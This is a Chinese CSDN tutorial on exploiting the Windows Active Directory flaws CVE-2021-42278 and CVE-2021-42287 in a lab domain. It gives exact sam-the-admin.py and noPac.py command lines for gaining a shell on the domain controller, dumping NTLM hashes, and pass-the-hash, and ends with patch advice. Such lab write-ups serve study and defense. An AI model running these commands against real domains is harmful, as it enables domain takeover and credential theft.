域内提权 (CVE-2021-42278 & CVE-2021-42287) 漏洞利用

本文详细介绍了Windows AD域的两个高危漏洞CVE-2021-42278和CVE-2021-42287,这两个漏洞可能导致域内用户提升至域管理员权限。内容包括漏洞介绍、受影响系统版本、实验环境、漏洞利用方法(如sam-the-admin.py和noPac.py工具)以及漏洞修复建议。
摘要由CSDN通过智能技术生成

2021年11月,Microsoft 曝出了两个关于 Windows AD 域提权的漏洞:CVE-2021-42278 & CVE-2021-42287,CVSS V3.1评分均为8.8,两个漏洞组合可导致域内普通用户提升至域管权限。

一、漏洞介绍

CVE-2021-42278利用AD域计算机账户认证漏洞,使用计算机账户的sAMAccountName冒充域控制器,结合CVE-2021-42287可以获取Kerberos特权属性证书 (PAC),从而使域内普通用户权限提升至域管理员权限。

影响系统版本:
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2022 (Server Core installation)

二、漏洞利用

实验环境
域控制器及域信息:
OS: Microsoft Windows Server 2016 Datacenter
Hostname: DC01
IP: 192.168.43.100
Domain: main.test.com
NetBIOS Domain Name: MAIN

已知域用户: testuser,密码: p@55word

攻击机不在域内,但能访问域控
工具和指令均在攻击机上操作

很多工具都可以对 CVE-2021-42278 & CVE-2021-42287 进行利用,这里介绍两种自动化脚本:

(一) sam-the-admin.py

工具链接:https://github.com/WazeHell/sam-the-admin

注意:该脚本只能在Kali环境中运行

工具使用前先安装依赖包:pip3 install -r requirements.txt

获取Shell
python3 sam_the_admin.py "main/testuser:p@55word" -dc-ip 192.168.43.100 -shell

运行结果如下:
请添加图片描述
注意获取shell是通过impacket包中的smbexec.py,获取HASH是通过impacket包中的secretsdump.py,在sam-the-admin.py中有如下定义:

fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
    fbinary = "/usr/bin/impacket-secretsdump"

其中smbexec.py的路径是/usr/bin/impacket-smbexec,secretsdump.py的路径是/usr/bin/impacket-secretsdump,如果系统环境中这两个脚本不是此路径,则需要将其调用路径进行修改。

另外,虽然sam-the-admin.py帮助文档中有提到获取HASH和HASH传递认证方式,但是测试中都没有执行成功。

(二) noPac.py

在sam-the-admin.py的基础上改进,工具链接:https://github.com/Ridter/noPac

工具使用前先安装依赖包:pip3 install -r requirements.txt

获取Shell
python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -shell

运行结果如下:
请添加图片描述
注意log信息中提示Current ms-DS-MachineAccountQuota = 10,表示普通用户新建计算机账户上限为10 (10是默认值,如果修改为0则表示无法新建计算机账户,漏洞利用会失败),工具运行后会尝试将执行过程中新建的计算机账户删掉,但是只有域管权限才可以成功删除,因此在使用普通域用户权限时,每执行一次都会新建一个计算机账户,当数量达到上限10,漏洞利用会失败。

获取HASH
python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -dump -just-dc-ntlm

运行结果如下:
请添加图片描述
认证方式支持HASH传递,如:

python3 noPac.py -use-ldap main.test.com/testuser -hashes :52888cf384b8d2e56e0cc2bb6b906f99 -dc-ip 192.168.43.100 -dump -just-dc-ntlm

三、漏洞修复

参考Microsoft安全更新程序指南:CVE-2021-42278CVE-2021-42287,域控上安装相应补丁即可,成员机不需要。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值